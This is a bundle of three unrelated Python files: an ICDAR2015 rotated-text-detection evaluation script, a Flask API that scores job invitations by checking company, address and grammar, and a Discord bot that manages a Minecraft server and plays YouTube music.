# -*- coding:utf-8 -*- from __future__ import absolute_import from __future__ import print_function from __future__ import division import os import sys import tensorflow as tf import cv2 import numpy as np import math from tqdm import tqdm import argparse from multiprocessing import Queue, Process from utils import tools from libs.label_name_dict.label_dict import LabelMap from libs.utils.draw_box_in_img import DrawBox from libs.utils.coordinate_convert import forward_convert, backward_convert from libs.utils import nms_rotate from libs.utils.rotate_polygon_nms import rotate_gpu_nms def parse_args(): parser = argparse.ArgumentParser('evaluate the result with Pascal2007 strand') parser.add_argument('--test_dir', dest='test_dir', help='evaluate imgs dir ', default='/data/yangxue/dataset/ICDAR2015/ch4_test_images', type=str) parser.add_argument('--gpus', dest='gpus', help='gpu id', default='0,1,2,3,4,5,6,7', type=str) parser.add_argument('--num_imgs', dest='num_imgs', help='test image number', default=np.inf, type=int) parser.add_argument('--show_box', '-s', default=False, action='store_true') parser.add_argument('--multi_scale', '-ms', default=False, action='store_true') args = parser.parse_args() return args class TestICDAR2015(object): def __init__(self, cfgs): self.cfgs = cfgs self.args = parse_args() label_map = LabelMap(cfgs) self.name_label_map, self.label_name_map = label_map.name2label(), label_map.label2name() def worker(self, gpu_id, images, det_net, result_queue): os.environ["CUDA_VISIBLE_DEVICES"] = str(gpu_id) # 1. preprocess img img_plac = tf.placeholder(dtype=tf.uint8, shape=[None, None, 3]) # is RGB. not BGR img_batch = tf.cast(img_plac, tf.float32) if self.cfgs.NET_NAME in ['resnet152_v1d', 'resnet101_v1d', 'resnet50_v1d']: img_batch = (img_batch / 255 - tf.constant(self.cfgs.PIXEL_MEAN_)) / tf.constant(self.cfgs.PIXEL_STD) else: img_batch = img_batch - tf.constant(self.cfgs.PIXEL_MEAN) img_batch = tf.expand_dims(img_batch, axis=0) detection_boxes, detection_scores, detection_category = det_net.build_whole_detection_network( input_img_batch=img_batch, gtboxes_batch_h=None, gtboxes_batch_r=None, gpu_id=0) init_op = tf.group( tf.global_variables_initializer(), tf.local_variables_initializer() ) restorer, restore_ckpt = det_net.get_restorer() config = tf.ConfigProto() config.gpu_options.allow_growth = True with tf.Session(config=config) as sess: sess.run(init_op) if not restorer is None: restorer.restore(sess, restore_ckpt) print('restore model %d ...' % gpu_id) for a_img in images: raw_img = cv2.imread(a_img) raw_h, raw_w = raw_img.shape[0], raw_img.shape[1] det_boxes_r_all, det_scores_r_all, det_category_r_all = [], [], [] img_short_side_len_list = self.cfgs.IMG_SHORT_SIDE_LEN if isinstance(self.cfgs.IMG_SHORT_SIDE_LEN, list) else [ self.cfgs.IMG_SHORT_SIDE_LEN] img_short_side_len_list = [img_short_side_len_list[0]] if not self.args.multi_scale else img_short_side_len_list for short_size in img_short_side_len_list: max_len = self.cfgs.IMG_MAX_LENGTH if raw_h < raw_w: new_h, new_w = short_size, min(int(short_size * float(raw_w) / raw_h), max_len) else: new_h, new_w = min(int(short_size * float(raw_h) / raw_w), max_len), short_size img_resize = cv2.resize(raw_img, (new_w, new_h)) resized_img, detected_boxes, detected_scores, detected_categories = \ sess.run( [img_batch, detection_boxes, detection_scores, detection_category], feed_dict={img_plac: img_resize[:, :, ::-1]} ) detected_indices = detected_scores >= self.cfgs.VIS_SCORE detected_scores = detected_scores[detected_indices] detected_boxes = detected_boxes[detected_indices] detected_categories = detected_categories[detected_indices] if detected_boxes.shape[0] == 0: continue resized_h, resized_w = resized_img.shape[1], resized_img.shape[2] detected_boxes = forward_convert(detected_boxes, False) detected_boxes[:, 0::2] *= (raw_w / resized_w) detected_boxes[:, 1::2] *= (raw_h / resized_h) # detected_boxes = backward_convert(detected_boxes, False) det_boxes_r_all.extend(detected_boxes) det_scores_r_all.extend(detected_scores) det_category_r_all.extend(detected_categories) det_boxes_r_all = np.array(det_boxes_r_all) det_scores_r_all = np.array(det_scores_r_all) det_category_r_all = np.array(det_category_r_all) box_res_rotate_ = [] label_res_rotate_ = [] score_res_rotate_ = [] if det_scores_r_all.shape[0] != 0: for sub_class in range(1, self.cfgs.CLASS_NUM + 1): index = np.where(det_category_r_all == sub_class)[0] if len(index) == 0: continue tmp_boxes_r = det_boxes_r_all[index] tmp_label_r = det_category_r_all[index] tmp_score_r = det_scores_r_all[index] tmp_boxes_r_ = backward_convert(tmp_boxes_r, False) try: inx = nms_rotate.nms_rotate_cpu(boxes=np.array(tmp_boxes_r_), scores=np.array(tmp_score_r), iou_threshold=self.cfgs.NMS_IOU_THRESHOLD, max_output_size=5000) except: tmp_boxes_r_ = np.array(tmp_boxes_r_) tmp = np.zeros([tmp_boxes_r_.shape[0], tmp_boxes_r_.shape[1] + 1]) tmp[:, 0:-1] = tmp_boxes_r_ tmp[:, -1] = np.array(tmp_score_r) # Note: the IoU of two same rectangles is 0, which is calculated by rotate_gpu_nms jitter = np.zeros([tmp_boxes_r_.shape[0], tmp_boxes_r_.shape[1] + 1]) jitter[:, 0] += np.random.rand(tmp_boxes_r_.shape[0], ) / 1000 inx = rotate_gpu_nms(np.array(tmp, np.float32) + np.array(jitter, np.float32), float(self.cfgs.NMS_IOU_THRESHOLD), 0) box_res_rotate_.extend(np.array(tmp_boxes_r)[inx]) score_res_rotate_.extend(np.array(tmp_score_r)[inx]) label_res_rotate_.extend(np.array(tmp_label_r)[inx]) box_res_rotate_ = np.array(box_res_rotate_) score_res_rotate_ = np.array(score_res_rotate_) label_res_rotate_ = np.array(label_res_rotate_) result_dict = {'scales': [1, 1], 'boxes': box_res_rotate_, 'scores': score_res_rotate_, 'labels': label_res_rotate_, 'image_id': a_img} result_queue.put_nowait(result_dict) def test_icdar2015(self, det_net, real_test_img_list, txt_name): save_path = os.path.join('./test_icdar2015', self.cfgs.VERSION) tools.makedirs(save_path) nr_records = len(real_test_img_list) pbar = tqdm(total=nr_records) gpu_num = len(self.args.gpus.strip().split(',')) nr_image = math.ceil(nr_records / gpu_num) result_queue = Queue(500) procs = [] for i, gpu_id in enumerate(self.args.gpus.strip().split(',')): start = i * nr_image end = min(start + nr_image, nr_records) split_records = real_test_img_list[start:end] proc = Process(target=self.worker, args=(int(gpu_id), split_records, det_net, result_queue)) print('process:%d, start:%d, end:%d' % (i, start, end)) proc.start() procs.append(proc) for i in range(nr_records): res = result_queue.get() tools.makedirs(os.path.join(save_path, 'icdar2015_res')) if res['boxes'].shape[0] == 0: fw_txt_dt = open(os.path.join(save_path, 'icdar2015_res', 'res_{}.txt'.format(res['image_id'].split('/')[-1].split('.')[0])), 'w') fw_txt_dt.close() pbar.update(1) fw = open(txt_name, 'a+') fw.write('{}\n'.format(res['image_id'].split('/')[-1])) fw.close() continue x1, y1, x2, y2, x3, y3, x4, y4 = res['boxes'][:, 0], res['boxes'][:, 1], res['boxes'][:, 2], res['boxes'][:, 3],\ res['boxes'][:, 4], res['boxes'][:, 5], res['boxes'][:, 6], res['boxes'][:, 7] x1, y1 = x1 * res['scales'][0], y1 * res['scales'][1] x2, y2 = x2 * res['scales'][0], y2 * res['scales'][1] x3, y3 = x3 * res['scales'][0], y3 * res['scales'][1] x4, y4 = x4 * res['scales'][0], y4 * res['scales'][1] boxes = np.transpose(np.stack([x1, y1, x2, y2, x3, y3, x4, y4])) if self.args.show_box: boxes = backward_convert(boxes, False) nake_name = res['image_id'].split('/')[-1] tools.makedirs(os.path.join(save_path, 'icdar2015_img_vis')) draw_path = os.path.join(save_path, 'icdar2015_img_vis', nake_name) draw_img = np.array(cv2.imread(res['image_id']), np.float32) drawer = DrawBox(self.cfgs) final_detections = drawer.draw_boxes_with_label_and_scores(draw_img, boxes=boxes, labels=res['labels'], scores=res['scores'], method=1, in_graph=False) cv2.imwrite(draw_path, final_detections) else: fw_txt_dt = open(os.path.join(save_path, 'icdar2015_res', 'res_{}.txt'.format(res['image_id'].split('/')[-1].split('.')[0])), 'w') for box in boxes: line = '%d,%d,%d,%d,%d,%d,%d,%d\n' % (box[0], box[1], box[2], box[3], box[4], box[5], box[6], box[7]) fw_txt_dt.write(line) fw_txt_dt.close() fw = open(txt_name, 'a+') fw.write('{}\n'.format(res['image_id'].split('/')[-1])) fw.close() pbar.set_description("Test image %s" % res['image_id'].split('/')[-1]) pbar.update(1) for p in procs: p.join() def get_test_image(self): txt_name = '{}.txt'.format(self.cfgs.VERSION) if not self.args.show_box: if not os.path.exists(txt_name): fw = open(txt_name, 'w') fw.close() fr = open(txt_name, 'r') img_filter = fr.readlines() print('****************************' * 3) print('Already tested imgs:', img_filter) print('****************************' * 3) fr.close() test_imgname_list = [os.path.join(self.args.test_dir, img_name) for img_name in os.listdir(self.args.test_dir) if img_name.endswith(('.jpg', '.png', '.jpeg', '.tif', '.tiff')) and (img_name + '\n' not in img_filter)] else: test_imgname_list = [os.path.join(self.args.test_dir, img_name) for img_name in os.listdir(self.args.test_dir) if img_name.endswith(('.jpg', '.png', '.jpeg', '.tif', '.tiff'))] assert len(test_imgname_list) != 0, 'test_dir has no imgs there.' \ ' Note that, we only support img format of (.jpg, .png, and .tiff) ' if self.args.num_imgs == np.inf: real_test_img_list = test_imgname_list else: real_test_img_list = test_imgname_list[: self.args.num_imgs] return real_test_img_list
app.py
from flask import Flask, render_template, url_for, request, jsonify, redirect import requests import pandas from bs4 import BeautifulSoup from textblob import TextBlob import matplotlib.pyplot as plt import urllib import nltk import spacy import queue from threading import Thread # import en_core_web_sm from nltk.corpus import stopwords from PIL import Image from gingerit.gingerit import GingerIt import googlemaps from time import time from grammer import * from address import * from nairaland import * from confidence import * from cac_check import * app = Flask(__name__) @app.route('/', methods=['GET']) def home(): """ GET Request """ # Give message to user return redirect("https://documenter.getpostman.com/view/9310664/SW132eE3?version=latest") @app.route('/', methods=['POST']) def analyze(): """ POST Request """ start_time = time() data = request.get_json(force=True) try: searchTerm = data['company'] addressTerm = data['address'] inviteTerm = data['invite'] # data = [data] except KeyError: titl = "You have a KeyError. Please check your JSON input" return jsonify(errors=titl) jobres = [] que = queue.Queue() threads_list = list() t = Thread(target=lambda q, arg1: q.put(nairasearch(arg1)), args=(que, searchTerm)) t.start() threads_list.append(t) t2 = Thread(target=lambda q, arg1: q.put(scraper(arg1)), args=(que, searchTerm)) t2.start() threads_list.append(t2) t3 = Thread(target=lambda q, arg1: q.put(verify_address(arg1)), args=(que, addressTerm)) t3.start() threads_list.append(t3) t4 = Thread(target=lambda q, arg1: q.put(check(arg1)), args=(que, inviteTerm)) t4.start() threads_list.append(t4) # Join all the threads for t in threads_list: t.join() # Check thread's return value while not que.empty(): result = que.get() jobres.append(result) for i in range(len(jobres)): if isinstance(jobres[i], pandas.core.frame.DataFrame): dg = jobres[i] if isinstance(jobres[i], int) or isinstance(jobres[i], float): negative = jobres[i] if isinstance(jobres[i], bool): auth = jobres[i] if isinstance(jobres[i], list): correction = jobres[i] correction = correction[0] if dg.empty: cac = True else: cac = False # if addr == "The Company address is valid": # cont = "This address looks legit" # auth = True # else: # cont = "This address might be bogus" # auth = False # inv = check(inviteTerm) # correction = inv # if inv == 0: # contt = "There are no errors in this invitation" # else: # contt = "You have errors in this invitation" report = confidence_interval(correction, auth, negative, cac) print('Time to solve: ', time() - start_time) return jsonify(confidence=report) @app.route('/form', methods=['POST']) def analyze_form(): """ POST Request """ try: searchTerm = request.form['company'] addressTerm = request.form['address'] inviteTerm = request.form['invite'] # data = [data] except KeyError: titl = "You have a KeyError. Please check your Form input" return jsonify(errors=titl) jobres = [] que = queue.Queue() threads_list = list() t = Thread(target=lambda q, arg1: q.put(nairasearch(arg1)), args=(que, searchTerm)) t.start() threads_list.append(t) t2 = Thread(target=lambda q, arg1: q.put(scraper(arg1)), args=(que, searchTerm)) t2.start() threads_list.append(t2) t3 = Thread(target=lambda q, arg1: q.put(verify_address(arg1)), args=(que, addressTerm)) t3.start() threads_list.append(t3) t4 = Thread(target=lambda q, arg1: q.put(check(arg1)), args=(que, inviteTerm)) t4.start() threads_list.append(t4) # Join all the threads for t in threads_list: t.join() # Check thread's return value while not que.empty(): result = que.get() jobres.append(result) for i in range(len(jobres)): if isinstance(jobres[i], pandas.core.frame.DataFrame): dg = jobres[i] if isinstance(jobres[i], int) or isinstance(jobres[i], float): negative = jobres[i] if isinstance(jobres[i], bool): auth = jobres[i] if isinstance(jobres[i], list): correction = jobres[i] correction = correction[0] if dg.empty: cac = True else: cac = False # if addr == "The Company address is valid": # cont = "This address looks legit" # auth = True # else: # cont = "This address might be bogus" # auth = False # inv = check(inviteTerm) # correction = inv # if inv == 0: # contt = "There are no errors in this invitation" # else: # contt = "You have errors in this invitation" report = confidence_interval(correction, auth, negative, cac) # print('Time to solve: ', time() - start_time) return jsonify(confidence=report) if __name__ == '__main__': app.run(port=5000, debug=True)
minecraftBot.py
from discord.ext.commands import Bot from discord.ext import commands from mcstatus import MinecraftServer from threading import Thread from searchYT import search, getInfo, getPlaylist import asyncio, time, discord, os, subprocess, socket, sys, youtube_dl, re, io, random, datetime botID = "" Client = discord.Client() client = commands.Bot(command_prefix = "!") serverUp = False startingPC = False lastChannel = None playerWatcherCount = 0 triggers = [] blacklist = [] players = {} voices = {} musicQueue = {} radioQueue = {} musicChoices = {} currentSong = {} addingSong = False leaving = False downloading = False #local IPs botIP = '' serverIP = '' #global IPs mcServerIP = '' mcServerPort = '' serverPlaylistURL = '' yourDiscordID = '' mcServerMacAddress = '' @client.event async def on_ready(): print("Bot Started") await client.change_presence(game=discord.Game(name='Minecraft | !mc commands')) with io.open('mctriggers.txt', encoding='utf-8') as txtfile: for line in txtfile.readlines(): trigger = line.split(', ') triggers.append(trigger) with io.open('mcblacklist.txt', encoding='utf-8') as listFile: for line in listFile.readlines(): blacklist.append(line) checkServerPower() @client.event async def on_message(message): global serverUp, lastChannel, startingPC lastChannel = message.channel checkServerPower() if str(message.author)[-5:] in blacklist and message.content.startswith("!mc"): await client.delete_message(message) else: if message.content == "!mc start": if serverUp == False and startingPC == False and len(serverIP) > 0: await client.send_message(message.channel, "The Minecraft server is starting. This can take a minute. You can join at " + mcServerIP + ":" + mcServerPort) if pingPC(serverIP) == True: printSocket("Start Minecraft server") printSocket(str(message.author) + " started the Minecraft server") serverUp = True else: startPC(serverIP) startingPC = True elif len(serverIP > 0): await client.send_message(message.channel, "Error: The server is not setup") else: await client.send_message(message.channel, "The server is already running/starting") elif message.content == "!mc playlist": await client.send_message(message.channel, "Playlist for Minecraft Bot feel free to add to the playlist \n" + serverPlaylistURL) elif message.content == "!mc player count": if serverUp == True: players = checkPlayers() await client.send_message(message.channel, "There are " + str(players) + " player(s) on the server") else: await client.send_message(message.channel, "The server is not running") elif message.content == "!mc clear": await clearCommands(message) elif message.content == "!mc stop": players = checkPlayers() if serverUp == True and players <= 0: await client.send_message(message.channel, "Shutting down the server!") printSocket((str(message.author) + " stopped the Minecraft server")) shutdownServer() elif players > 0: await client.send_message(message.channel, "Can't shutdown the server players are on it!") else: await client.send_message(message.channel, "The server is not running") elif message.content.startswith('!mc ban'): banPlayer(message) elif message.content.startswith('!mc unban'): unbanPlayer(message) elif message.content == '!mc triggers': await triggerMenu(message) elif message.content.startswith('!mc trigger'): addTrigger(message) elif message.content.startswith("!mc radio"): checkMessage = message.content.replace("!mc radio", "") checkMessage = checkMessage.replace("-s", "") checkMessage = checkMessage.replace("-p", "") checkMessage = checkMessage.strip() turningOff = False if checkMessage.lower() == "off": radioQueue[message.server.id] = [] turningOff = True elif checkMessage.lower() == "playlist": message.content = message.content.replace('playlist', serverPlaylistURL) shuffleSongs = False pickRan = False if '-s' in message.content: shuffleSongs = True if '-p' in message.content: pickRan = True if turningOff == False: await radio(message, Shuffle=shuffleSongs, ran=pickRan) elif message.content.startswith("!mc play -o"): playThread = Thread(target=playOptions, args=[message]) playThread.start() elif message.content == "!mc play -cancel": pickCancel(message) elif message.content.startswith("!mc play"): await play(message) elif message.content.startswith("!mc pick"): await pickSong(message) elif message.content == "!mc queue": await postQue(message) elif message.content == "!mc leave": await leave(message) elif message.content == "!mc skip": skipSong(message) elif message.content == "!mc status": if serverUp == True: players = checkPlayers() await client.send_message(message.channel, "The server is currently running with " + str(players) + " player(s). You can join at " + mcServerIP + ":" + mcServerPort) else: await client.send_message(message.channel, 'The server is not running! Type "!mc start" to start the server') elif message.content == "!mc commands": await client.send_message(message.channel, "Commands: \n !mc start - start the minecraft server \n !mc stop - stop the Minecraft server \n !mc player count - get the amount of players on the Minecraft server \n !mc status - check to see if the Minecraft server is up \n !mc clear - clears commands from chat \n !mc radio [-s -p] <band name/Playlist URL> - to play a playlist of the bands songs, use the -s tag to shuffle the playlist and/or the -p tag to pick a random playlist instead of the first one on YT \n !mc radio playlist - play the server playlist \n !mc radio off - turn off radio \n !mc playlist - edit the server playlist \n !mc play [-o] <song name/link> - play a song from YouTube, add the -o tag to get options of songs to pick \n !mc leave - tells the bot to leave the voice channel \n !mc queue - Gets the current lineup of songs \n !mc skip - skips the current song \n !mc triggers - Show audio triggers and help on how to make one \n --------------------") else: if message.author != client.user: Triggered = False voiceChannel = message.server for trigger in triggers: if trigger[0] in message.content.lower() and Triggered == False: if voiceChannel.id in musicQueue: Queue = musicQueue[voiceChannel.id] inQueue = False if voiceChannel.id in currentSong and currentSong[voiceChannel.id] == trigger[1]: inQueue = True else: for x in range(len(Queue)): if trigger[1] == Queue[x][0]: inQueue = True if inQueue == False: message.content = "!mc play " + trigger[1] await play(message) Triggered = True else: message.content = "!mc play " + trigger[1] await play(message) Triggered = True def banPlayer(message): playerID = message.content.replace("!mc ban ", "") if '#' in playerID and len(playerID) == 5 and str(message.author.id) == yourDiscordID: if playerID in blacklist: pass else: with io.open('mcblacklist.txt', 'a', encoding='utf-8') as banMenu: banMenu.write(playerID + '\n') blacklist.append(playerID) def unbanPlayer(message): playerID = message.content.replace("!mc unban ", "") if '#' in playerID and len(playerID) == 5 and str(message.author.id) == yourDiscordID: memoryFile = io.open('mcblacklist.txt', 'r', encoding='utf-8').readlines() with io.open('mcblacklist.txt', 'w', encoding='utf-8') as banMenu: for line in memoryFile: if line != playerID + '\n': banMenu.write(line) blacklist.remove(playerID) def addTrigger(message): trigger = message.content.replace('!mc trigger ', '') if getUrl(trigger) != 'Not a link' and ', ' in trigger: array = trigger.split(', ') if len(array) == 2: array = [array[0].lower(), array[1]] if array in triggers: pass else: triggers.append(array) with io.open('mctriggers.txt', 'a', encoding='utf-8') as triggerMenu: triggerMenu.write(trigger + '\n') async def triggerMenu(message): menu = "............How to............... \n Use command !mc trigger <trigger word(s)>, <URL> \n ex: !mc trigger drift, TokyoDriftURL \n When using the command make sure you don't forget the ',' comma \n" menu = menu + "...........Triggers.............. \n " for trigger in triggers: print(trigger[0]) menu = menu + trigger[0] + '\n' print(menu) await client.send_message(message.channel, menu) async def radio(message, Shuffle=False, ran=False): global currentSong voiceChannel = message.server url = '' query = message.content.replace('!mc radio ', '') if Shuffle == True and ran == True: query = query.replace('-s -p', '') query = query.replace('-p -s', '') elif Shuffle == True: query = query.replace('-s', '') elif ran == True: query = query.replace('-p', '') if getUrl(query) == 'Not a link': query = query + ' playlist' results = search(query, True) playlist = [] for result in results: if '&list=' in result[1] or '?list=' in result[1]: playlist.append(result[1]) if ran == True: if(len(playlist) > 0): url = random.choice(playlist) else: url = "Not a link" else: if(len(playlist) > 0): url = playlist[0] else: url = "Not a link" else: if '&list=' in query or '?list=' in query: url = query else: await client.send_message(message.channel, 'Error: That is not a playlist url') if(url != "Not a link"): videos = getPlaylist(url) if(len(videos) == 0): await client.send_message(message.channel, 'Error: that playlist has no videos, try using the -p tag or giving me a playlist url') return if Shuffle == True: random.shuffle(videos) radioQueue[voiceChannel.id] = videos if voiceChannel.id in currentSong: if currentSong[voiceChannel.id] == '' or currentSong[voiceChannel.id] == None or currentSong[voiceChannel.id] == "None": playNext(message) else: playNext(message) else: await client.send_message(message.channel, 'Error: Cannot find a playlist, try giving me a playlist url') async def play(message, next=False, Playlist=False): global addingSong, currentSong words = False url = 'Not a link' voiceChannel = message.server Queue = [] if voiceChannel.id in musicQueue: Queue = musicQueue[voiceChannel.id] if next == False: url = getUrl(message.content) if url == 'Not a link': words = True print('Word search') print(url) elif len(Queue) > 0: url = Queue[0][0] message = Queue[0][1] Queue.pop(0) musicQueue[voiceChannel.id] = Queue if '&list=' in url or '?list=' in url: #checks if playlist, they aren't allowed here url = 'Not a link' print("Playlists aren't allowed here") if url is not 'Not a link' and words == False: print(url) voiceChannel = message.server player = None if voiceChannel.id in players: player = players[voiceChannel.id] if player == None and addingSong == False: addingSong = True state = await join(message) if state != 'Error': voice_client = client.voice_client_in(voiceChannel) members = voice_client.channel.voice_members if len(members) <= 1: await leave(message) return downloading = True try: if '&list=' in url or '?list=' in url: await client.send_message(message.channel, 'Error: that is a playlist url, playlist are only allowed on the radio') pass else: player = await voice_client.create_ytdl_player(url, after=lambda: playNext(message), ytdl_options="--ignore-errors", before_options=" -reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5") player.volume = .5 currentSong[voiceChannel.id] = player.title players[voiceChannel.id] = player player.start() if Playlist == False: await client.send_message(message.channel, 'Playing: ' + player.title) except Exception as e: print("Handled Error: " + str(e)) state = await join(message, True) if state != "Error": if '&list=' in url or '?list=' in url: await client.send_message(message.channel, 'Error: that is a playlist url, playlist are only allowed on the radio') pass else: voice_client = client.voice_client_in(voiceChannel) player = await voice_client.create_ytdl_player(url, after=lambda: playNext(message), ytdl_options="--ignore-errors", before_options=" -reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5") player.volume = .5 currentSong[voiceChannel.id] = player.title players[voiceChannel.id] = player player.start() if Playlist == False: await client.send_message(message.channel, 'Playing: ' + player.title) if Playlist == True: botMessage = 'Playing ' + str(player.title) + ' ' + str(datetime.timedelta(seconds=player.duration)) + '\n' + str(player.url) await client.send_message(message.channel, botMessage) addingSong = False downloading = False elif addingSong == True or player.is_playing() and next == False: state = await join(message) song = [url, message] if voiceChannel.id in musicQueue: Queue = musicQueue[voiceChannel.id] else: Queue = [] Queue.append(song) musicQueue[voiceChannel.id] = Queue elif next == True or Playlist == True: if player.is_playing(): player.stop() addingSong = True state = await join(message) if state != 'Error': voice_client = client.voice_client_in(voiceChannel) members = voice_client.channel.voice_members if len(members) <= 1: await leave(message) return downloading = True try: if '&list=' in url or '?list=' in url: await client.send_message(message.channel, 'Error: that is a playlist url, playlist are only allowed on the radio') pass else: player = await voice_client.create_ytdl_player(url, after=lambda: playNext(message), ytdl_options="--ignore-errors", before_options=" -reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5") player.volume = .5 players[voiceChannel.id] = player player.start() if Playlist == False: await client.send_message(message.channel, 'Playing: ' + player.title) except Exception as e: print("Handled Error: " + str(e)) state = await join(message, True) if state != "Error": if '&list=' in url or '?list=' in url: await client.send_message(message.channel, 'Error: that is a playlist url, playlist are only allowed on the radio') pass else: voice_client = client.voice_client_in(voiceChannel) members = voice_client.channel.voice_members if len(members) <= 1: await leave(message) return player = await voice_client.create_ytdl_player(url, after=lambda: playNext(message), ytdl_options="--ignore-errors", before_options=" -reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5") player.volume = .5 players[voiceChannel.id] = player player.start() if Playlist == False: await client.send_message(message.channel, 'Playing: ' + player.title) if Playlist == True: botMessage = 'Playing ' + str(player.title) + ' ' + str(datetime.timedelta(seconds=player.duration)) + '\n' + str(player.url) await client.send_message(message.channel, botMessage) currentSong[voiceChannel.id] = player.title addingSong = False downloading = False elif next == False: if '&list=' in url or '?list=' in url: await client.send_message(message.channel, 'Error: that is a playlist url, playlist are only allowed on the radio') pass else: #Searches for video with words query = message.content query = query.replace("!mc play ", "") print(query) results = search(query) print(results[0][1]) message.content = str(results[0][1]) await client.send_message(message.channel, "Adding " + message.content) await play(message) async def botMessage(message, botmessage): await client.send_message(message.channel, botmessage) def playOptions(message): if message.author.id in musicChoices: pass elif getUrl(message.content) == "Not a link": print(message.author.id) query = message.content query = query.replace("!mc play -o ", "") print(query) results = search(query) botmessage = '' for x in range(5): num = x + 1 videoName = getInfo(results[x][1]) botmessage = botmessage + str(num) + " " + videoName + "\n" musicChoices[message.author.id] = results botmessage = botmessage + "Use !mc pick <Number> \n" botmessage = botmessage + "Use !mc play -cancel, to cancel" asyncio.run_coroutine_threadsafe(client.send_message(message.channel, botmessage), client.loop) else: asyncio.run_coroutine_threadsafe(play(message), client.loop) async def pickSong(message): if message.author.id in musicChoices: choice = message.content choice = choice.replace("!mc pick ", "") choice = int(choice) choice = choice - 1 options = musicChoices[message.author.id] message.content = str(options[choice][1]) musicChoices[message.author.id] = None musicChoices.pop(message.author.id, None) await play(message) def pickCancel(message): if message.author.id in musicChoices: musicChoices[message.author.id] = None musicChoices.pop(message.author.id, None) def playNext(message): print('NEXT') voiceChannel = message.server Queue = [] radio = [] if voiceChannel.id in musicQueue: Queue = musicQueue[voiceChannel.id] if voiceChannel.id in radioQueue: radio = radioQueue[voiceChannel.id] if len(Queue) == 0 and len(radio) == 0: asyncio.run_coroutine_threadsafe(leave(message), client.loop) elif len(radio) > 0 and len(Queue) == 0: message.content = '!mc play ' + radio[0][1] radio.pop(0) radioQueue[message.server.id] = radio print('NEXT: ' + message.content) asyncio.run_coroutine_threadsafe(play(message, Playlist=True), client.loop) elif leaving == False: asyncio.run_coroutine_threadsafe(play(message, next=True), client.loop) def skipSong(message): voiceChannel = message.server if voiceChannel.id in players: players[voiceChannel.id].stop() async def postQue(message): global currentSong voiceChannel = message.server send = '' if voiceChannel.id in currentSong and currentSong[voiceChannel.id] != '': send = 'Current Song: ' + currentSong[voiceChannel.id] + '\n' else: send = 'Current Song: None \n' send = send + '..................Queue..................... \n' if voiceChannel.id in musicQueue: Queue = musicQueue[voiceChannel.id] if len(Queue) > 0: for song in Queue: send = send + getInfo(song[0]) + '\n' else: send = send + 'None \n' else: send = send + 'None \n' send = send + '.....................Radio.......................... \n' if voiceChannel.id in radioQueue: Queue = radioQueue[voiceChannel.id] if len(Queue) > 0: limit = 0 for song in Queue: if limit <= 8: send = send + song[0] + '\n' limit = limit + 1 else: send = send + 'None \n' else: send = send + 'None \n' send = send + '....................................................' print(send) await client.send_message(message.channel, send) async def leave(message): global currentSong while downloading == True: await asyncio.sleep(10) leaving = True channel = message.server voice_client = client.voice_client_in(channel) if channel.id in players: if players[channel.id].is_playing(): players[channel.id].stop() players[channel.id] = None players.pop(channel.id, None) if message.server in voices: voices[message.server] = None voices.pop(message.server, None) if channel.id in musicQueue: musicQueue[channel.id] = None musicQueue.pop(channel.id, None) if channel.id in radioQueue: radioQueue[channel.id] = None radioQueue.pop(channel.id, None) if channel.id in currentSong: currentSong[channel.id] = None currentSong.pop(channel.id, None) if voice_client: await voice_client.disconnect() leaving = False async def join(message, overide=False): try: channel = message.author.voice.voice_channel if message.server in voices and overide == False: print('Already here') return 'Already here' else: voice = await client.join_voice_channel(channel) voices[message.server] = voice print('Success') return 'Successful' except Exception as e: print(e) print('Error joining voice channel') printSocket('Error joining voice channel') return 'Error' def getUrl(url): match = re.search("(?P<url>https?://[^\s]+)", url) if match is not None: return match.group("url") else: return 'Not a link' def pingPC(ip): if(len(ip) > 0): response = os.system("ping -c 1 " + ip + " >/dev/null 2>&1") if response == 0: return True else: return False else: return False def startPC(ip): os.system("wakeonlan " + mcServerMacAddress) def printSocket(message): print(message) if(len(serverIP) > 0): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((serverIP, 5968)) message = str(message) charCount = len(message) FinalMessage = "Length: " + str(charCount) + " message: " + message s.send(FinalMessage.encode(encoding='ascii')) s.close() except socket.error as err: print("Error sending socket message: " + str(err)) async def clearCommands(message): mgs = [] Num = 1000 async for x in client.logs_from(message.channel, limit = Num): if x.content.startswith("!mc") or x.author == client.user: if len(mgs) <= 99: mgs.append(x) #print(str(x.author) + " " + str(x.content)) else: try: await client.delete_messages(mgs) except: for mg in mgs: try: await client.delete_message(mg) except: print('Error Mg to old: ' + mg) mgs = [] mgs.append(x) #print(str(x.author) + " " + str(x.content)) if len(mgs) > 0: try: await client.delete_messages(mgs) except: for mg in mgs: try: await client.delete_message(mg) except: print('Error Mg to old: ' + mg) await client.send_message(message.channel, "MC commands cleared from chat") def checkPlayers(): try: serverchecker = MinecraftServer(serverIP, mcServerPort) status = serverchecker.status() return status.players.online except: return 0 def checkServerPower(): global serverUp if pingPC(serverIP) == False: serverUp = False def serverWatcher(): global serverUp, lastChannel, startingPC, playerCountWatcher, playerWatcherCount checkServerPower() if startingPC == True: if pingPC(serverIP) == True and serverUp == False: printSocket("Start Minecraft server") elif serverUp == True: startingPC = False if serverUp == True: playerCount = checkPlayers() if playerCount <= 0: playerShutdown() elif playerWatcherCount > 0: playerWatcherCount = 0 print('Some players joined, no longer shutting down!') elif serverUp == False and playerWatcherCount > 0: playerWatcherCount = 0 time.sleep(60) serverWatcher() def playerShutdown(): global playerWatcherCount if playerWatcherCount == 1: print('No players, shutting down in 20 minutes') time.sleep(1) playerCount = checkPlayers() if playerCount <= 0 and playerWatcherCount >= 1200: shutdownServer() playerWatcherCount = 0 if(lastChannel is not None): client.send_message(lastChannel, "No players shutting down the server") else: playerWatcherCount = playerWatcherCount + 1 def shutdownServer(): global serverUp checkServerPower() if serverUp == True: printSocket("Shutdown the Minecraft server") serverUp = False def messageSetup(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) address = (botIP, 5968) sock.bind(address) sock.listen(5) messageServer(sock) print("Message server started") def messageServer(sock): global serverUp SockTimeout = False connection, clientIP = sock.accept() while 1 and SockTimeout == False: try: data = connection.recv(1024) if not data: break message = data.decode('utf-8') print('Message Recieved: ' + message) except socket.timeout: SockTimeout = True connection.close() if SockTimeout == False: if message == "Length: 31 message: The Minecraft server is running": serverUp = True print('Yes the server is running') elif message == "Length: 28 message: The Minecraft server is down": serverUp = False print('No the server is off') else: print('Unknown message: ' + message) 